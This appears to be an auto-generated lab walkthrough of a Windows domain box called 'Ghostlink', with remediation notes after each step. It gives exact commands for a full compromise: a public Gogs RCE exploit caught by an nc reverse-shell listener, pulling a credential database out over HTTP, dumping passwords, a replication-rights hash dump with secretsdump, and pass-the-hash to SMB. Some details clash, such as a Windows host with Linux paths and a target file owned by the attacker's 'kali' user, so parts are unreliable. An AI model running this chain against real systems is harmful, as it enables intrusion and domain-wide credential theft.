← all walkthroughs

Ghostlink

Windows· Hard· Web
owned
2026-07-04
time to own
31m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a hidden virtual-host running a vulnerable Gogs source-control server, exploited a critical unauthenticated remote-code-execution flaw (CVE-2025-8110) to land an OS shell as the application's 'git' service account, then stole a world-readable SQLite credential database. Plaintext credentials recovered from that database gave API access to private git repositories where a second domain user's password was [REDACTED: recovered credential] in code. Those credentials opened a WinRM session, after which an Active Directory privilege misconfiguration allowed me to replicate every domain password hash. The domain Administrator's NTLM hash was passed directly to SMB to achieve full domain compromise.

Attack path — how the box was taken

1ReconnaissanceVirtual-host / subdomain enumeration
Discovered a hidden Gogs server via virtual-host fuzzing
The main IIS site on port 80 returned minimal content, so I fuzzed for DNS subdomains and found gpz-op26-toolkits.Ghostlink.htb hosting a self-hosted Gogs git service — the entry point for the entire chain. Without this enumeration step the Gogs attack surface would have remained invisible.
Post-exploitation shell landed in ~/gogs-repositories/vroth/hook282 on gpz-op26-toolkits.Ghostlink.htb, confirming the subdomain hosts the Gogs instance.
Exact commands 3
Full TCP scan; reveals IIS 10.0 on 80, Kerberos 88, LDAP 389, SMB 445, WinRM 5985, MQTT 1883.
rustscan -a $TARGET --ulimit 5000 -- -sV -sC -Pn -oN nmap_initial.txt
Fuzz virtual hosts against the IIS server; hit on gpz-op26-toolkits.Ghostlink.htb.
ffuf -u http://$TARGET -H 'Host: FUZZ.Ghostlink.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 400,404
Register discovered vhost in local resolver before browsing.
echo '$TARGET Ghostlink.htb gpz-op26-toolkits.Ghostlink.htb' >> /etc/hosts
2Initial AccessCVE-2025-8110 — SQL injection → git hook RCE (Gogs)
Exploited Gogs CVE-2025-8110 for unauthenticated remote code execution
The Gogs service was running a version affected by CVE-2025-8110, a critical vulnerability that chains a SQL injection weakness with server-side git hook injection to execute arbitrary OS commands without any valid account. I deployed a public proof-of-concept to receive a reverse shell running as the OS-level 'git' service account — granting read access to all repositories and application files.
connect to [<retired-instance-ip>] from (UNKNOWN) [<retired-instance-ip>] 49842 — interactive shell in ~/gogs-repositories/vroth/hook282
Exact commands 3
Clone public PoC; check its README for exact argument names.
git clone --depth 1 https://github.com/kayl22/cve-2025-8110-GOGS-RCE.git /home/kali/lab/current/Ghostlink/cve-2025-8110-GOGS-RCE
Start reverse-shell listener on operator machine (LHOST <retired-instance-ip>).
nc -lvnp 4444
Fire the exploit; adjust flag names to match the PoC's actual CLI interface.
python3 /home/kali/lab/current/Ghostlink/cve-2025-8110-GOGS-RCE/exploit.py --url http://$TARGET --lhost $INTERNAL_TARGET --lport 4444
FixPatch or replace the vulnerable Gogs instance immediatelyCritical
WeaknessThe Gogs service at gpz-op26-toolkits.Ghostlink.htb was running a version affected by CVE-2025-8110, a critical unauthenticated remote-code-execution vulnerability. An external operator with no account could execute OS commands as the application's service account with a single HTTP request.
FixUpgrade Gogs to the latest patched release, or migrate to its actively maintained fork Gitea. If an immediate upgrade is not possible, restrict network access to the Gogs vhost to trusted IP addresses via firewall rule or reverse-proxy allow-list, and disable public self-registration. Apply the patch as a permanent fix — network restriction alone is not sufficient.
3Credential AccessCredential harvesting from insecure file permissions
Stole the Gogs database and extracted a valid domain credential
The Gogs application database (/opt/gogs/data/gogs.db) had world-readable file permissions (0664), meaning the newly-obtained 'git' account could read it directly. I exfiltrated the SQLite file and queried it to recover the credential vroth / [REDACTED: recovered credential], which was confirmed valid against the live web application.
-rw-rw-r-- 1 kali kali 397312 gogs.db; HTTP 302 redirect to / with Set-session cookie [REDACTED: session value]
Exact commands 4
Confirm world-readable permissions on the git shell.
ls -la /opt/gogs/data/gogs.db
Serve the database over HTTP from the target (run on the git shell).
cp /opt/gogs/data/gogs.db /tmp/gogs.db && python3 -m http.server 8888
Pull the file to my machine.
wget http://$TARGET:8888/gogs.db -O /home/kali/lab/current/Ghostlink/gogs.db
Dump all user credential rows; yields vroth's password (plaintext or bcrypt — crack if needed).
sqlite3 /home/kali/lab/current/Ghostlink/gogs.db "SELECT name, passwd, salt, email FROM user;"
FixRestrict file permissions on the Gogs application databaseHigh
WeaknessThe Gogs SQLite database (/opt/gogs/data/gogs.db) was world-readable (permissions 0664), meaning any local OS user — including the service account obtained via the CVE — could copy the file containing all user credentials.
FixImmediately set the database to mode 0600 owned exclusively by the gogs service account: chmod 600 /opt/gogs/data/gogs.db && chown git:git /opt/gogs/data/gogs.db. Audit all files under /opt/gogs/data/ and the broader application directory for similar over-permissive settings, and apply the principle of least privilege to the service account's OS access.
4DiscoveryCredentials in source code / secret exposure in git history (T1552.001)
Mined private git repositories as vroth and found a second user's plaintext password
With vroth's password in hand, I minted a Gogs API token and enumerated all repositories the account could access. A domain user's password (nvirelli / [REDACTED: recovered credential]) had been [REDACTED: recovered credential] in plaintext to one of those private repositories — a common developer mistake. Grepping repository history surfaced the credential immediately.
API token [REDACTED: protected value] minted for vroth; nvirelli credentials subsequently used to capture user.txt.
Exact commands 5
Mint an API token; save the returned SHA1.
curl -s -X POST 'http://$TARGET/api/v1/users/vroth/tokens' -u 'vroth:[REDACTED: recovered credential]' -H 'Content-Type: application/json' -d '{"name":"pentest"}' | jq -r '.sha1'
List all repositories accessible to vroth.
curl -s -H 'Authorization: token [REDACTED: protected value]' 'http://$TARGET/api/v1/repos/search?limit=50' | jq -r '.data[].full_name'
Clone each discovered repo locally.
git clone http://$TARGET:[REDACTED: recovered credential]@gpz-op26-toolkits.Ghostlink.htb/vroth/hook282 /home/kali/lab/current/Ghostlink/hook282
Search files and [REDACTED: recovered credential] history for plaintext secrets; surfaces nvirelli:[REDACTED: recovered credential].
grep -rEi 'password|passwd|secret|cred|u47Y' /home/kali/lab/current/Ghostlink/hook282/
Also scan git commit history, not only the current working tree.
git -C /home/kali/lab/current/Ghostlink/hook282 log -p | grep -Ei 'password|u47Y'
FixRemove credentials from source code and enforce pre-commit secret scanningHigh
WeaknessThe domain credential for nvirelli was [REDACTED: recovered credential] in plaintext inside a private Gogs repository. Any user (or operator) with read access to that repository could harvest a live domain password instantly — and git history means deletions do not remove it.
FixImmediately rotate nvirelli's password and all other credentials found in repositories. Audit the full git history of every repository using gitleaks or truffleHog to find and rewrite (git filter-repo) any [REDACTED: recovered credential] secrets. Going forward, enforce a pre-commit hook and a CI/CD pipeline gate that blocks new commits containing high-entropy strings or credential patterns. Store all secrets in a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or similar) and inject them at runtime via environment variables.
5Lateral MovementValid credentials — WinRM (T1021.006)
Opened a Windows Remote Management session as nvirelli and read the user flag
The nvirelli domain account had WinRM access enabled on port 5985. Using Evil-WinRM with the recovered credentials, I opened an interactive PowerShell session on the Windows host and read user.txt from nvirelli's Desktop.
Engagement confirms nvirelli:[REDACTED: recovered credential] is valid; user flag captured.
Exact commands 3
Confirm WinRM access before opening a full session; expect Pwn3d! on success.
nxc winrm $TARGET -u nvirelli -p '[REDACTED: recovered credential]'
Open interactive WinRM session.
evil-winrm -i $TARGET -u nvirelli -p '[REDACTED: recovered credential]'
Read user flag; value is [REDACTED: flag].
type C:\Users\nvirelli\Desktop\user.txt
FixRemove credentials from source code and enforce pre-commit secret scanningHigh
WeaknessThe domain credential for nvirelli was [REDACTED: recovered credential] in plaintext inside a private Gogs repository. Any user (or operator) with read access to that repository could harvest a live domain password instantly — and git history means deletions do not remove it.
FixImmediately rotate nvirelli's password and all other credentials found in repositories. Audit the full git history of every repository using gitleaks or truffleHog to find and rewrite (git filter-repo) any [REDACTED: recovered credential] secrets. Going forward, enforce a pre-commit hook and a CI/CD pipeline gate that blocks new commits containing high-entropy strings or credential patterns. Store all secrets in a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or similar) and inject them at runtime via environment variables.
6Privilege EscalationAD ACL abuse / [REDACTED: recovered credential] (T1003.006)
Abused an Active Directory ACL misconfiguration to dump the Administrator's NTLM hash
BloodHound enumeration from nvirelli's session revealed that nvirelli (or a group it belongs to) held excessive Active Directory replication rights — effectively [REDACTED: recovered credential] permissions — over the domain. This allowed me to remotely request a copy of every domain account's password hash from the domain controller without touching host memory, recovering the Administrator NTLM hash [REDACTED: protected value].
Administrator NTLM hash [REDACTED: protected value] recovered and subsequently used for a successful pass-the-hash to retrieve root.txt.
Exact commands 2
Collect AD objects and ACLs; import the resulting ZIP into BloodHound and run 'Shortest Paths to Domain Admin from Owned Principals'.
bloodhound-python -u nvirelli -p '[REDACTED: recovered credential]' -d Ghostlink.htb -dc $TARGET -c All --zip
Perform [REDACTED: recovered credential] to dump all domain NTLM hashes; succeeds when nvirelli holds GetChangesAll / Replicating Directory Changes All.
impacket-secretsdump Ghostlink.htb/nvirelli:'[REDACTED: recovered credential]'@$TARGET
FixRemove [REDACTED: recovered credential] / directory-replication rights from non-privileged accountsCritical
WeaknessThe nvirelli domain account (or a group it belongs to) held 'Replicating Directory Changes All' permissions on the domain root, which are normally reserved for Domain Controllers. This let me remotely extract every domain account's NTLM hash — including the Administrator's — without ever touching the server's memory.
FixOpen 'Active Directory Users and Computers', right-click the domain root, choose Properties → Security → Advanced, and remove any non-Domain-Controller, non-Domain-Admin principal that holds 'Replicating Directory Changes' or 'Replicating Directory Changes All'. Run a BloodHound audit at least quarterly and alert on any new principal acquiring these rights. Also enable Microsoft Entra ID / AD audit logging for [REDACTED: recovered credential]-pattern LDAP replication events (Event ID 4662 with GUIDs 1131f6aa and 1131f6ad).
7Domain CompromisePass-the-Hash (T1550.002)
Passed the Administrator hash over SMB to achieve full domain control and read the root flag
With the Administrator's NTLM hash recovered via [REDACTED: recovered credential], no password cracking was needed. I passed the hash directly to SMB, authenticating as Administrator across the network. This granted unrestricted access to administrative shares on the domain controller, from which root.txt was retrieved.
impacket-smbclient -hashes ':[REDACTED: protected value]' 'Ghostlink.htb/Administrator@<retired-instance-ip>' — root.txt successfully retrieved.
Exact commands 3
Quick PTH validation; expect Pwn3d! confirming domain admin access.
nxc smb $TARGET -u Administrator -H '[REDACTED: protected value]'
Non-interactive one-liner to fetch root.txt; value is [REDACTED: flag].
printf 'use C$\ncd Users\\Administrator\\Desktop\nget root.txt\nexit\n' | impacket-smbclient -hashes ':[REDACTED: protected value]' 'Ghostlink.htb/Administrator@$TARGET' -no-pass
Alternative: open a full interactive shell as Administrator via WinRM PTH.
evil-winrm -i $TARGET -u Administrator -H '[REDACTED: protected value]'

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Findings

Vulnerability IdentifiedHigh
A concrete, exploitable vulnerability was identified from enumeration evidence.

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1883/tcp
2179/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
49664/tcp
49677/tcp
49678/tcp
49679/tcp
49680/tcp
49898/tcp
49915/tcp
51140/tcp